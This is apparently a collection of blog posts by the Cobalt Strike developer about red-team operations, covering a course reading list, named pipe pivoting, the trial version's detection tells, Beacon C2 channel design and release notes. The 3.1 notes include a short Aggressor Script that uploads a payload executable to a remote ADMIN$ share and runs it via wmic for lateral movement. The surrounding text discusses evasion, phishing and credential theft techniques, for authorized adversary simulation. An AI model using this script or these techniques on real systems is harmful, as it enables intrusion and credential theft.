• Read Microsoft’s Enterprise Cloud Red Teaming whitepaper. Here they explain the “Assume Breach” philosophy and discuss how they use their red team to measure and improve time-to-detect and time-to-remediate of their security operations over time.
• Read Raphael’s Magic Quadrant. Here I summarize the shifts in our industry driving the development of Adversary Simulations as a service. I write a lot about this topic and my thoughts are in the Adversary Simulations category on this blog.
• Browse the Red + Blue = PURPLE slides from 2015’s FIRST Technical Colloquium in the Netherlands. Here Stan Hegt from KPMG covers Adversary Simulations vs. Penetration Testing and goes through a case study working with a Dutch Bank.
• Read Models for Red Team Operations. There is more to red team operations than “kick down the door and seduce the security guard” type assessments. In this post I try to point out some of the different uses of red teams.

Advanced Threat Actors:

• Kiran Blanda maintains a GitHub repository with copies of public threat intelligence reports. Some companies put out material that shows their analysts know how to use IDA and take screenshots. Others provide some depth and speculate on the actor’s tradecraft. I really like the reports from Kaspersky and CrowdStrike.
• Watch Michael Daly’s 2009 USENIX talk, The Advanced Persistent Threat. This talk pre-dates the marketing bonanza over APT actors and their work. This is a common sense discussion of the topic without an agenda. Even though it’s from 2009, the material is spot on.

Tools used in this course:

• The primary operating platform in this course is Kali Linux 2.0.
• While Cobalt Strike 3.0 no longer depends on Rapid7’s Metasploit Framework, it’s still an amazing collection of capability. This course demonstrates the synergy between Cobalt Strike and the Metasploit Framework in several places.
• This course also uses PowerSploit, a powerful collection of PowerShell post-exploitation capability.
• We also take advantage of PowerView and PowerUp from the PowerShell Empire Project’s PowerTools collection.
• Later on, this course demonstrates how to use the Veil Evasion Framework to generate executables that evade most anti-virus products.

1. Operations

Advanced Threat Tactics starts with a high-level overview of Cobalt Strike’s model for distributed operations and red team collaboration.

To learn more about Cobalt Strike’s model for collaboration and operations:

• Watch Force Multipliers for Red Team Operations. This is my favorite talk I’ve given. Here, I summarize my work and insights on the red team collaboration problem. Today, I consider this a completed research project with the following blog posts capturing lessons learned on how to build infrastructure and organize a large red team to support operations (primarily in an exercise context).
• Read A Vision for Distributed Red Team Operations to learn more about Cobalt Strike’s model for distributed operations with multiple team servers.
• Read The Access Management Team [Shell Sherpas]. This blog post discusses the Access Manager role in depth.
• Read about The Post Exploitation Team. These are my notes on the folks who interact with targets to complete objectives and find interesting information.
• Read Infrastructure for Red Team Operations. Infrastructure is the foundation of any engagement. This post is my best practices for organizing infrastructure to support a long-term op with multiple targets.

2. Infrastructure

Infrastructure is the collection of domains, servers, and software that support your operation. One of Cobalt Strike’s strengths is its variety of communication channels and the flexibility you have to configure them. This lecture goes through the HTTP/HTTPS, DNS, and named pipe channels and shows you how to use special features with each. I also take you through how to stand up redirectors and test your infrastructure before an engagement.

To learn more about payload staging:

• Read OJ Reeve’s Deep Dive into Stageless Meterpreter Payloads on the Metasploit blog. This post provides depth on the staging process for Meterpreter and explains stageless Meterpreter payloads.
• I also wrote Staged Payloads – What Penetration Testers Should Know. These are my thoughts on the subject if any of the above is unclear. :) Understanding staging is very important to understand the behavior and design decisions in tools like Cobalt Strike.

Beacon Communication:

• Read Cloud-based Redirectors for Distributed Hacking. This post describes redirectors, why you would want to use them, and how to set them up with socat. Very similar to the model discussed in this course.
• Read How to use a Valid SSL certificate with the HTTPS Beacon.
• The introduction of the DNS data channels in Cobalt Strike led to several folks claiming, That’ll never work–we don’t allow port 53 out. This post calmly answers these claims with an explanation of how the DNS Beacon communicates.
• DNS Communication is a pain in the rear to get right. Ron Bowes (author of DnsCat 2) goes through his lessons learned in the Secrets of DNS talk from DerbyCon 2014. His blog at skullsecurity.org is worth a read as well.
• Read Stealthy Peer-to-peer C&C over SMB pipes. I added a named pipe channel to Cobalt Strike in late-2013. This feature wasn’t well understood, so I wrote this blog post to explain it better.

3. Targeted Attacks

This lecture goes through a process to execute a targeted spear phishing attack to get a foothold in a modern enterprise.

To learn more about this material:

• Read What’s the go to phishing technique or exploit? This blog post summarizes the process I use to get a foothold in a modern enterprise.
• Read the MetaPhish paper and watch the MetaPhish presentation. This talk greatly influenced my work.
• Go deeper with the System Profiler in phishing system profiles without phone calls.
• Go to BrowerSpy.dk to learn which information your browser tells others about you.

User-Driven Attacks:

• Read User-driven Attacks. This blog post details the user-driven attacks available in Cobalt Strike 2.5. Most made it over to 3.0. :)
• Read about why Cobalt Strike exposes x86 payloads over x64 payloads. There’s a valid(?) reason behind it.
• The Microsoft Office Macro is one of my favorite user-driven attacks. Matt Weeks‘ has a great blog post on Direct Shellcode Execution in MS Office Macros.
• Watch the Java Applet Code Signing Tutorial to learn how to extend the life of Cobalt Strike’s Signed Applet Attack. The Java Applet attack was popular for a long time. January 2014 really changed things for this attack. Obituary for the Java Signed Applet Attack provides some details on this.

4. Post Exploitation

This lecture shows how to use Beacon for post-exploitation. If you have to operate with Beacon, this is good core material to know.

To learn more about this material:

• Read Evolution of a Modern Hacking Payload. Beacon started life as an asynchronous lifeline to spawn Meterpreter sessions as needed. Over time Beacon gained features to allow an operator to use Beacon when Meterpreter was not an option. This post tells that story.
• Read Beacon: An Operator’s Guide. This post discusses the concepts to know when using Beacon.
• Browser Pivoting is a Cobalt Strike technique for man-in-the-browser session stealing with Internet Explorer. I wrote about this technique previously and presented it at DerbyCon 2013.

Post-Exploitation:

• Buy the Red Team Field Manual. This is a must-own for anyone working in this space. The tips and tricks here are quite applicable for all Beacon operators.

5. Privilege Escalation

Think of this lecture as post exploitation, part 2. We dive into how to elevate privileges and use these privileges to harvest credentials and password hashes.

To learn more about User Account Control and the Bypass UAC attack:

• Read User Account Control — What Penetration Tester’s Should Know. This blog post dives deep into user account control and different methods to elevate from a medium integrity context to a high integrity context.
• Read Windows 7 UAC Whitelist: Code-injection Issue (and more) by Leo Davidson. This is the original reference on the UAC bypass attack.

Privilege Escalation:

• Read Windows Privilege Escalation Fundamentals. This tutorial has a number of command-line recipes to find files with credentials and other things you should look for when trying to elevate your rights.
• Read What you know about ’bout GPP? This blog post offers a look at the Group Policy Preferences privilege escalation vector. This is one of those issues that, while patched, remains an issue because the patch does not cleanup the problems created by this feature when it was last used. I didn’t have time to cover this problem in the course [six hours is enough!]; but this is a staple thing you should always check for.

PowerUp:

• Read PowerUp: A Usage Guide by its author Will Schroeder. This blog post will give you some ideas of other things PowerUp can do. Will’s presentation PowerUp – Automating Windows Privilege Escalation is worth a quick flip through as well.
• Also read, Utilizing PowerUp.ps1 to Escalate Privileges on Windows 7 using an Unquoted Path Vulnerability. This blog post is a look at another one of PowerUp’s elevation vectors.

Mimikatz:

• Study the Mimikatz Wiki to start your journey understanding what this tool can do. To get the most from mimikatz, you’ll really need to read its source code to really understand a feature.
• Read Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest by Sean Metcalf. This post describes the mimikatz command misc::skeleton which applies an in-memory patch on a DC to allow a second password to work for any user in the domain. This is an advanced threat tactic described by Dell Secureworks CTU in their Skeleton Key Malware Analysis paper.
• Sean Metcalf regularly blogs about Mimikatz at adsecurity.org. I recommend spending an afternoon to go through each of his posts on mimikatz.

6. Lateral Movement

This lecture is the use and abuse of native Windows capability and behavior to trade-up privileges and move around a network.

To learn more about enumeration and reconnaissance in a Windows Active Directory network:

• Watch Passing the Torch: Old School Red Teaming, New School Tactics? Here David McGuire and Will Schroeder go through their tricks to understand a Windows enterprise network the old school way (net view /DOMAIN and friends) vs. the new school way (with PowerShell).
• Read PowerView: A Usage Guide to understand this wonderful tool from Will Schroeder to automate enumerating trusts, users, and hosts in an active directory environment.
• Check out Netview by Rob Fuller. This tool enumerates systems using the Win32 Network Management API. I believe it was one of the original inspirations for PowerView and it certainly inspired Beacon’s net module as well.
• Read Trusts You Might Have Missed by Will Schroeder for a quick primer on domain trusts in Windows Active Directory networks. You’ll really want to go through all of Will’s blog to understand this topic fully. He posts a lot about domain trusts and user hunting. Too much for me to keep up with here.
• Also, read I Hunt Sys Admins by Will Schroeder (him, again!) to learn different ways to find where a particular user lives on the network. This is important for targeting systems that may have trust material that gets you closer to the data you want or to DA rights on the network.

Remote Management without Malware:

• Read WinRM is my Remote Access Tool to learn about how to use WinRM to control a remote system from Beacon.
• pHEAR the Invoke-WmiCommand cmdlet added to PowerSploit by Matt Graeber. This cmdlet uses WMI as a C2 channel to post commands AND get output back.
• Read Malware Free Intrusions: Adversary Tricks and Treats on the CrowdStrike blog. This post goes over how the actor, Deep Panda, uses wmic to enable a backdoor that allows them to access a SYSTEM-level shell via RDP.

Pass-the-Hash:

• Read How to Pass-the-Hash with Mimikatz. This blog post documents how to use mimikatz to pass-the-hash from Beacon
• Read Pass-the-Hash is Dead: Long Live Pass-the-Hash by Will Schroeder. This blog post covers the May 2014 patch to Windows that puts restrictions around pass-the-hash.

Kerberos:

• Read Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory by Sean Metcalf. This blog post provides an overview of how Kerberos works, the Golden Ticket, the Silver Ticket, and ms14-068.
• Watch The Secret Life of Krbtgt by Chris Campbell to understand the Golden Ticket and its significance.
• Read MS14-068 to DA by the mysterious idzer0. This one was patched awhile ago, but I had fun with it a few times. This exploit was an immediate elevation to DA. This blog post uses the Python Kerberos Exploitation Kit to kick off the attack. MWR InfoSecurity has a good write-up on this attack on their blog too. *nudge* *nudge* Beacon has a kerberos_ccache_use command now.

Remote Code Execution:

• Read Authenticated Remote Code Execution in Windows by Matt Weeks for more ways to schedule or run a process on a remote system.
• Read Covert Lateral Movement with High-Latency C&C to see my recipes for (manual) lateral movement with Beacon.
• Read Phishing, Lateral Movement, SCADA, Oh My! by idzer0 goes through a case study of using SMB Beacon, PowerView, and WMI to pivot five levels deep and reach a SCADA controller.
• Watch Lateral Movement given by Harlan Carvey at B-Sides Cincinnati. This talk describes several manual methods for lateral movement and indicators they leave behind.

7. Pivoting

SOCKS, SOCKS, SOCKS! This lecture is about how to pivot with Beacon. You could also think about it as using and abusing SOCKS forwards, backwards, and any other way you want it.

More on this topic:

• Read the SOCKS protocol specification.  SOCKS is a simple (1 page) protocol that allows a SOCKS-aware application to connect to a SOCKS server and ask that server to initiate a connection on the client’s behalf.
• Read Pivoting through SSH. This blog post describes the Proxies option in the Metasploit Framework.
• Read Hacking through a Straw: Pivoting over DNS. This post talks about the SOCKS pivoting capability in Beacon.
• Take a look at Cobalt Strike’s VPN Pivoting feature. I don’t talk about it much, because I don’t use it often. If you’d like to learn about layer-2 pivoting, I wrote a blog post on how this technology works with source code. It’s simpler than you might think.

8. Malleable C2

Malleable C2 is Cobalt Strike’s domain specific language to change indicators in the Beacon payload. This ability to make Beacon look like other malware is arguably what makes it a threat emulation tool.

More on this topic:

• Go to the Malleable C2 Profiles collection on Github. These are example profiles you may use as-is or as a base to build your own profiles.
• Read the Malleable C2 documentation. There’s no substitute for reading the documentation on this feature. The documentation will take you through all of the concepts in this video.
• Watch the Puttering my Panda and Other Threat Replication Case Studies videos. These three case studies show how to use Cobalt Strike and Malleable C2 to emulate various advanced threat actors.

9. Evasion

The Advanced Threat Tactics course concludes with a deep dive into evasion. This video is my to-the-minute notes on this topic.

To learn more about phishing and e-mail delivery:

• Read E-mail Delivery – What Penetration Testers Should Know. This is a long blog post on the inner workings of email, SPF, DKIM, and DMARC.
• Read SPF, DKIM, and DMARC Demystified by McAfee. This whitepaper summarizes the why and what of these technologies.
• Watch Spoof my SMTP from This Week in Enterprise Tech, Episode 71. Here, I practice what I preach, and show how to deliver a carefully crafted phish to a webmail account I setup for testing purposes.

Anti-virus evasion:

• Read Facts and myths about antivirus evasion with Metasploit by Michael Schierl.
• Read the Artifact Kit documentation. This is Cobalt Strike’s source code framework to build executables and DLLs to get past some anti-virus products.

Application Whitelisting:

• Watch Simple Application Whitelisting Evasion by Casey Smith. Casey is constantly dropping whitelist evasion knowledge on Twitter. I also recommend reading his blog for more on this topic as well.
• Read How to Inject Shellcode from Java. This blog post details how Cobalt Strike’s default applet attacks inject shellcode into memory from Java.

Egress Restrictions:

• Read An Unnecessary Addiction to DNS Communication. I often hear from folks who insist that DNS is the only way out of their network and the only way to reach servers that are otherwise isolated from the network. This post goes into depth on the evasion options with Cobalt Strike’s DNS communication scheme and it digs into the capability available in Cobalt Strike’s other Beacon variants.
• Read HTTP Proxy Authentication for Malware to understand how Beacon’s HTTP/S stagers react to proxy authentication failures.

Active Defenders:

• Watch Operating in the Shadows given by Carlos Perez at DerbyCon 2015. In this talk, Carlos goes over the different advancements in blue’s ability to instrument Windows and the impact it will have on red teams and penetration testers who need to challenge them. This is a sign of things to come.
• Read Advances in Scripting Security and Protection in Windows 10 and PowerShell V5. Windows 10 will change the security game in a big way. This post from Microsoft goes through the new logging hooks to understand PowerShell activity on a system and the hooks that allow anti-virus engines to look for malicious PowerShell.
• Take a look at Microsoft’s Advanced Threat Analytics technology. This defense tracks which systems/users pull which active directory objects, when, and how often. It’s designed to catch that awesome stuff discussed in part 6 of this course.
• Also, check out UpRoot, an agentless host-based IDS written in PowerShell that leverages WMI subscriptions. UpRoot reports process creates, new network connections, and other host activity. Tools like UpRoot show the scrutiny red operators will need to learn to cope with when working with a mature hunt team.

One of my favorite features in Cobalt Strike is its ability to pivot over named pipes. A named pipe is a way for two programs on a Windows system to communicate with each other. From a programming perspective, working with a named pipe is a lot like working with a file.

I use named pipes to allow a beacon to receive its commands and send its output through another Beacon. In this way, a parent Beacon becomes the egress channel for its child Beacons.

This has some utility on the same host. Let’s say a target network tightly controls egress. Each system that wants to make an outbound web request must go through a proxy and authenticate to it. A Beacon that lives in user space will likely get out. An elevated Beacon run in a SYSTEM context will probably not get out. In these situations the named pipe Beacon has utility. An elevated Beacon can use the user-level Beacon’s channel to communicate with me. Sweet.

That’s not all though. Windows allows two programs to communicate, host-to-host, over named pipes. This communication is encapsulated within the SMB protocol. In this way, a named pipe pivot is not just communication on the same host, it’s also a way to control systems that can’t reach the internet with port 445 as a control channel. This is especially useful for lateral movement. It’s strange to make a domain controller egress to your internet-based infrastructure. A semi-mature security posture will detect and act on this very quickly. That said, it’s OK and expected for a workstation to connect to a domain controller or file server over port 445. A named pipe pivot is a way to blend in if you want to control these types of assets.

History

Cobalt Strike’s named pipe pivoting capability has had a long journey. I first introduced this feature in Cobalt Strike 1.48 (November 2013). At that time, this feature was just the named pipe channel and a few workflow flourishes to stage the SMB Beacon with a Metasploit Framework bind/reverse TCP stager.

This was a start, but it wasn’t enough to make great use of pivoting over a named pipe. I wanted the ability to deliver a Beacon to a target and control it entirely over port 445. This desire drove the implementation of the stageless Beacons in Cobalt Strike’s January 2014 release. A stageless artifact is one that contains the entire payload. It does not use a stager. A stageless SMB Beacon, exported as a service executable, would allow me to use the Metasploit Framework’s PsExec to deliver an SMB Beacon without a bind/reverse TCP stager. I considered this a good win for using the SMB Beacon for lateral movement.

While the Metasploit Framework’s PsExec module was nice, I wanted a way to conduct lateral movement through the Beacon payload. The February 2014 release of Cobalt Strike added token stealing and basic privilege escalation capability to Beacon. This capability, paired with several native commands, was enough to use Beacon for lateral movement.

If you ran into me at a conference in 2014, you probably saw a demonstration similar to this one:

In my 2014 demonstrations, I would show folks how to use Beacon as an operating capability. Lateral movement always makes a good demonstration. Sadly, the tools in Cobalt Strike didn’t do the job and sell the story. I had to rely on etherape in the target’s network, to show egress over one channel and peer-to-peer communication over another.

This demonstration crutch was my first signal that the named pipe pivoting required some sort of visualization. My use of Cobalt Strike was the second kick in the rear. Several times, I’ve found my teammates and I in a special ring of hell. Tracking 5+ levels of named pipe pivoting in a table is painful.

Which Beacon is linked to which? [Follow the chains in the external field!]

When I wrote the functional specification for Cobalt Strike 3.0, I knew I would need better tooling support to make named pipe pivoting useful to more of my users.

The first problem to solve was simple workflow. Cobalt Strike features that spawn a new payload always target a listener. Listeners are Cobalt Strike’s way to tie payload configuration information [and a promise to start that payload’s handler] to an easy-to-remember alias. It’s a simple abstraction, but it’s critical feature that allows one person to set up infrastructure and others to use it with fewer mistakes. I would need a way to make the SMB Beacon into a useful Cobalt Strike listener. This required solving a problem I did everything I could to avoid: staging.

I didn’t have a way to stage the SMB Beacon over a named pipe. I opted to implement a half-measure to solve this problem. I built a windows/beacon_smb/bind_tcp payload into an early build of Cobalt Strike 3.0. This listener would only work with Beacon actions that spawned a payload from the current session (privilege escalation, spawn, inject, etc.). To support a bind listener in Beacon, I instrumented Beacon’s implementation to follow any use of bind listener with a special Beacon task to deliver the Beacon stage. In this way, I could have a Beacon calling home, once every five minutes, inject a bind TCP stager into memory and complete the staging process without tunneling something through the Beacon.

Since the February 2014 release of Cobalt Strike, I’ve had folks ask: why don’t you add lateral movement automation to Beacon? I couldn’t. All Cobalt Strike features target listeners. If I were to add lateral movement automation, I would need to solve the staging problem for the SMB Beacon or have lateral movement automation without the SMB Beacon [not acceptable]. Eventually, I put together a named pipe stager for Beacon and built the lateral movement automation so many folks asked for. The windows/beacon_smb/bind_tcp payload became windows/beacon_smb/bind_pipe. I shipped this work as part of Cobalt Strike 2.5 in July 2015.

Named Pipe Pivoting… Today

Cobalt Strike 3.0 completed the journey for the SMB Beacon feature. In 3.0, I added visualization for the SMB Beacon. Here’s what it looks like:

I no longer have to use etherape to visualize or describe my pivoting. ☺ Cobalt Strike’s workflows and dialogs expose the automation in Cobalt Strike’s Beacon for lateral movement. It’s now just as easy to deliver and use a named pipe payload in CS 3.0 as it was to deliver a bind_tcp meterpreter payload in Armitage:

Named pipe pivoting is one of my favorite features in Cobalt Strike. With the release of 3.0, the tooling support for this feature is now complete. It took nearly two years to get this feature to this point, but good things take a while. As you spend time to become familiar with Cobalt Strike 3.0, this is one feature I recommend spending some time with.

RFC 3514 proposes an IPv4 flag to allow traffic to flag itself as malicious or not. This RFC’s authors reason that if malicious programs opt into this standard, it will become easier for IDS and other security products to distinguish between packets with good and evil intent. Naturally, this RFC was written in jest.

If the evil bit were real, the Cobalt Strike 3.0 trial would set it. In this post, I’d like to clarify some things about the trial that I’ve already had a few email exchanges about.

The Cobalt Strike 3.0 trial is the full Cobalt Strike product with one [significant] difference. The Cobalt Strike 3.0 trial inserts several “tells” to get caught by standard security products. This change is made possible by Cobalt Strike’s flexibility to change its indicators and artifacts.

What are the “tells”?

Cobalt Strike generates its executables and DLLs with the help of the Artifact Kit. The Artifact Kit is a source code framework to generate executables and DLLs that smuggle payloads past some anti-virus products. The Cobalt Strike 3.0 trial ships with the template Artifact Kit build. The template build embeds Cobalt Strike’s stager shellcode into executables and DLLs with no steps to disrupt an anti-virus sandbox.

The Cobalt Strike trial loads and uses Malleable C2 profiles. This is a feature that allows users to change the network indicators in the Beacon payload. Each HTTP GET transaction, from the trial, includes an X-Malware header with the EICAR string as its content.

The Java Signed Applet Attack in the Cobalt Strike trial has some differences too. This attack ships with an EICAR file inside of the JAR.

Finally, the trial removes Cobalt Strike’s primary payload encoder. Many security products flag traffic as malicious if they see a PE header in it. I use a Cobalt Strike-specific encoder to obfuscate the Beacon stage as it goes over the wire. This gets Beacon’s stage past many scenarios. Without an encoder, the staging process is much more likely to get caught.

What does this mean for me?

If you have a valid Cobalt Strike license key, you should always use the licensed version of the product in your production infrastructure. This means running the update program with your license key to get the licensed product.

The licensed version of the Cobalt Strike product does not have these deliberate tells. I’ve taken steps to make sure the trial team server can’t talk to a licensed client and vice versa. I did this to make sure customers don’t accidentally use a trial component in their production infrastructure.

If you’re a trial user, you should be aware that the Cobalt Strike 3.0 trial has these deliberate tells. I would use the trial as a first-pass of the product. Try it out in a lab. Go through the videos. Make a good decision about whether or not the product does something you need. If you have questions about Cobalt Strike while evaluating the trial, email me, and we can discuss them.

I’ve had several folks write to me asking about the Connection Refused error when they try to use Cobalt Strike. This one:

Cobalt Strike 3.0 requires you to start a team server before you attempt to connect a client to it. If you connect a client to 127.0.0.1 and no server is present, you will see the error: Connection Refused. Cobalt Strike presents this error because there is no team server waiting to accept your connection.

The Starting Cobalt Strike section of the Cobalt Strike Support page discusses the process to start a Cobalt Strike team server and connect a client to it. Here’s a video as well:

This behavior is a change from previous versions of Cobalt Strike. Previously, if you tried to connect to 127.0.0.1 and nothing was listening, Cobalt Strike would prompt you and ask if it should start a server for you.

Cobalt Strike 3.1 will accompany the Connection Refused error with information describing the need for a team server and pointing users at the exact piece of documentation to look at.

You’re not out of the woods yet…

Beyond starting a team server, Cobalt Strike 3.0 is a significant change over Cobalt Strike’s predecessors [hence the 3.0 version]. I recommend spending some time with 3.0’s resources to understand these changes.

The Advanced Threat Tactics course is a nine-part course on Red Team Operations and Adversary Simulations. All said, this course is nearly six hours of material! I released Advanced Threat Tactics with Cobalt Strike 3.0. I consider this material the go-to resource to become familiar with Cobalt Strike 3.0 and the process it supports.

If you’re not too into videos, that’s cool. Give the Cobalt Strike 3.0 manual a read. This manual describes Cobalt Strike’s features in depth. It’s not the Great American Novel, but it’ll do.

Finally, if you’re in a real hurry, keep the Cobalt Strike Support page open as you use the tool. This page has references for most Cobalt Strike features. At a minimum these references describe the feature and its use. Most of these reference pages have a short video demonstration too. Either way, this information is the best way to learn about what you’re immediately interested in.

Whatever your learning style, there are resources to help you get up to speed with Cobalt Strike 3.0 and later.

Here and there, I’m getting questions that are variants of this post’s title. The inquiry usually goes like this:

Dearest Raphael,
I do a lot of internal engagements. I don’t expect that I will always have a Beacon on target due to a phishing or client-side attack. How do I launch a psexec attack directly from the Cobalt Strike team server.

Sincerely,

uLTRA tHANG 31337, Certified Professional Cyber Tester

I love these emails. First, the inquiry has a simple answer. Second, it’s an opportunity to explain Cobalt Strike’s model of offense. If you’re used to the Metasploit Framework or another penetration testing framework, it’s a little different.

Vulnerability Verification – It’s all about Modules

Many penetration testing tools offer a pile of offensive capability as modules on the attacker’s system. You either launch these modules directly from your system OR you tunnel these modules through a remote access tool.

This model has some benefits. Namely, the attacker’s system controls the protocol stack for each way it can interact with a target. This gives the attacker full control over these interactions and this is necessary for many memory corruption scenarios.

This model is fine and has few drawbacks for an internal actor working to quickly find and demonstrate the risk of misconfigurations and vulnerable services. If you do not need to pass through border defenses and try to evade an active defender, why would you care about operating “low and slow”?

Cobalt Strike’s Model of Offense

With Cobalt Strike, I always assume that you’re a remote actor with a foothold in your target’s network. I provide tools to help get this foothold, but post exploitation and lateral movement is when Cobalt Strike becomes really interesting.

The Cobalt Strike team server has no remote attacks or built-in offensive capability [with the exception of spear phishing]. Instead, Cobalt Strike pushes all of its offensive actions down to the Beacon payload. The Beacon payload then executes these things on your behalf.

This method of offense plays well with asynchronous communication. I can push a port scanner down to a Beacon and it will run in between check ins. Each time the Beacon checks in, it will communicate intermediate results to me. There’s no need to be in constant contact with my target to perform a scan.

Cobalt Strike’s capabilities to touch targets are built on native Windows APIs and not a third-party protocol stack. If I want to spread laterally, I use Windows APIs to create an access token from the credential material on hand and run my payload on a remote target. I don’t need to worry about whether or not my third-party SMB stack supports SMB signing and this environment requires it. Things just work. I can also task an asynchronous payload to perform these actions. I don’t have to speed up my communication and tunnel a capability through my foothold.

If your goal is to evade defenses and validate an organization’s detect and respond capability, asynchronous control of your targets is table stakes.

So, how do I psexec without an initial Beacon?

Let’s revisit the original question that drove this blog post in the first place. How do you perform Cobalt Strike’s offensive actions without a foothold from a client-side attack?

If you can touch targets and have trust material, then Cobalt Strike is a fine option to start with. Run a Beacon on a red Windows system that you control. Use make_token or pth to create a Windows access token with the desired trust material. Attack the targets you want to use as your initial footholds.

The last part of the Pivoting lecture in the Advanced Threat Tactics course shows how to do this over an SSH tunnel.

As a product vendor, I regularly receive suggestions from my users. It’s easy to break these suggestions up into different categories. One such category would be Beacon communication channels. I get requests that ask when I will look into various protocols or third-party services as communication channels.

I see communication options as very important. But, not all channels are created equal. In this blog post, I’d like to share the rubric I use to decide if a channel is right for Beacon.

Rule #1: A native Windows API must exist

When I build a channel into Beacon, I look for channels that I can implement with the APIs Windows provides. I like Windows APIs because they give me a lot for free. Right now, Beacon uses the WinINet API for its HTTP and HTTPS channel. This API provides a simple way to make RFC compliant HTTP requests to my web server. It also pulls the proxy settings for the system and transparently handles proxy authentication for me. The more I can offload to tried and true Windows APIs, the better.

Rule #2: Staging must be possible

Implementing a channel as a Windows API has the benefit of keeping my implementation simple and small. This plays directly into my next rule: Whichever channel I implement, it must be feasible to write position-independent assembly code to stage Beacon over that same channel.

Staging is an important part of Cobalt Strike’s workflow. Most payload stages, by themselves, are too big to pair well with most attacks. The work-around is to break payload delivery up into stages. The first stage (also called the stager) connects to the attacker and downloads the second stage (also called the payload stage). The stager creates a place in memory to store the payload stage and passes execution to the stage once the download is complete.

Small stagers embed well into Cobalt Strike’s built-in attack packages. Small stagers also allow me to use a PowerShell one-liner, during lateral movement, to bootstrap a payload into memory without putting a binary on disk. One of my favorite Cobalt Strike demos is the one where I embed a DNS TXT record stager for Beacon into a Word macro.

Staging isn’t important for all payloads. Some payloads are designed to persist on disk and maintain access over a long period of time. By the time you’re ready to drop tools on disk, it’s probably safe to assume that you have some other channel to upload your persistence payload and run its installer through. For Beacon, this isn’t the case. I assume that Beacon is the payload you will use for your first foothold into a network. Because of this assumption, staging matters a great deal.

Rule #3: No third-party services

A lot of folks like to demonstrate payloads that use Gmail, Twitter, and other social media tools as a communication intermediary. Great stuff! I don’t expect that I will build features into Beacon that rely on specific third-party services.

I worry that a third-party service could change in a way that breaks my payload. As the developer of a paid and supported product, this is not a headache I want to take on.

I don’t want to be too much of a curmudgeon on this topic. Third-party service-based C2 offers a red teamer [and adversary] many benefits. A well-executed implementation will make it hard for a network monitoring staff to pick out legitimate activity from malicious activity. Some environments use reputation-based indicators to allow users unhindered access to well-known sites, but to make it harder for malware to connect to controllers on the Internet. The use of third-party services is a way to deal with this pain.

Rule #4: Must work from a user-level context, without special rights

A persistent agent has the luxury of assuming SYSTEM-level rights. An agent designed for an initial foothold and post-exploitation does not. I very much see Beacon as a stable lifeline and a post-exploitation agent. Because of this assumption, it’s important that the communication options I implement will work from a user-level context.

Rule #5: The protocol must (commonly) egress, if it can’t, it’s a peer-to-peer protocol. The server component of peer-to-peer protocols must follow these rules.

Beacon has two types of channels. It has channels meant to egress (HTTP/S and DNS) and it has a channel meant for peer-to-peer communication. If a channel cannot egress (e.g., the SMB channel) then it’s a peer-to-peer channel. Peer-to-peer channels require that Beacon hosts the server component too. In these cases, the server component must meet these criteria before I consider the channel appropriate.

A good example is ICMP. Eventually, I will probably build an ICMP channel for Beacon. It fits these rules. There’s a Windows API to send ICMP echo requests and receive the response. This is something that I could build a stager for. It doesn’t depend on a third-party service. I can use the ICMP API without special rights. And, ICMP is a protocol that’s allowed to egress some situations. ICMP passes these tests.

Keep in mind, these are the rules I use for Beacon. These rules are not applicable to all payloads and all use cases. Beacon is a user-land lifeline and a post-exploitation payload. These use cases require that I meet their needs and constraints. The design decisions for these use cases are sometimes counter to the decisions I would make for a payload built for other purposes (e.g., persistence). When you look at payloads, it’s important to think about what the payload is originally built for and to use it in those contexts. This will help you get the most from the capability.

Cobalt Strike 3.1 is now available. This release adds a lot of polish to the 3.x codebase and addresses several items from user feedback.

Aggressor Script

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. It allows you to extend the Cobalt Strike client with new features and automate your engagements with scripts that respond to events.

Scripting was a big focus in the Cobalt Strike 3.1 development cycle. You now have functions that map to most of Beacon’s commands. Scripts can also define new Beacon commands with the alias keyword too.

alias wmi-alt {
	local('$mydata $myexe');
	
	# check if our listener exists
	if (listener_info($3) is $null) {
		berror("Listener $3 does not exist");
		return;
	}
	
	# generate our executable artifact
	$mydata = artifact($3, "exe", true);
		
	# generate a random executable name
	$myexe  = int(rand() * 10000) . ".exe";
		
	# state what we're doing.
	btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI");
	
	# upload our executable to the target
	bupload_raw($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);
		
	# use wmic to run myexe on the target
	bshell($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");
	
	# complete staging process (for bind_pipe listeners)
	bstage($1, $2, $3);
}

This release also introduces the agscript command in Cobalt Strike’s Linux package. This command runs a headless Cobalt Strike client designed to host your scripts.

While I can’t say the scripting work is complete yet (it’s not); this release is a major step forward for Aggressor Script. You can learn more about Aggressor Script by reading its documentation.

DcSync

In August 2015, mimikatz introduced a dcsync command, authored by Benjamin Delpy and Vincent LE TOUX. This command uses Windows features for domain replication to pull the password hash for the user you specify. DcSync requires a trust relationship with the DC (e.g., a domain admin token). Think of this as a nice safe way to extract a krbtgt hash.

Cobalt Strike 3.1 integrates a mimikatz build with the dcsync functionality. Beacon also gained a dcsync command that populates the credential model with the recovered hash.

Data Munging

Cobalt Strike 3.1 introduces the ability to import hosts and services from an NMap XML file. Cobalt Strike 3.1 also gives you the ability to export credentials in a PWDump file.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.1. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

During a recent conversation, a friend had mentioned that they saw Cobalt Strike as a post-exploitation only tool. This strikes me as a little odd. Cobalt Strike has always had all the features necessary to execute a full attack chain.

The system profiler, spear phishing tool, and user-driven attacks support a social engineering process designed to get a foothold into a modern enterprise.

The Beacon payload integrates well with the above tools. It stages over HTTP, HTTPS, and DNS TXT records. Once the payload is in memory, Beacon can download its tasks over DNS A records, DNS TXT records, HTTP, and HTTPS.

Once on a target, Beacon’s post-exploitation capability gives you seamless access to PowerShell, mimikatz, and a slew of other organic capability. These tools are enough to exfiltrate data, capture user activity, and explore options for privilege escalation.

Beacon is also quite adept at target discovery. Beacon has a port scanner that deploys to the agent as a Reflective DLL. This port scanner runs on target and reports intermediate results during each check-in. Beacon also provides organic equivalents for many net commands building on the Windows Network Management API. I also tend to favor the use of PowerView to understand large environments.

